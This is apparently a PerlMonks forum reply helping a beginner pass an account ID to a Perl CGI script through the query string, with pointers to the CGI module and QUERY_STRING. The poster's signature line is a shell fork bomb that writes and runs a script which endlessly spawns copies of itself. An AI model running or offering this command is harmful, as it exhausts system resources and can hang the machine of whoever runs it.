Update: Original node title was Not sure what to call this one; now changed. Suggested that any title with relevant keywords is better than none.

This is the first time I've worked with a more interactive script

From the context of your comments I believe you mean a CGI script? Are you outputting to a browser? Interactive has more than one context.

The script

Post it, please.

but how do I make the link so it works like www.page.com/evs/evs.pl?account=$ID ?

You want to use the CGI module (unless you're into ASP with PerlScript -- that's cool too, see the ASP with PerlScript page). With CGI, you need to examine the QUERY_STRING variable. See the documentation. I've barely written any CGI code, so I won't attempt any here. Other monks will do a better job of that. :-)

ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;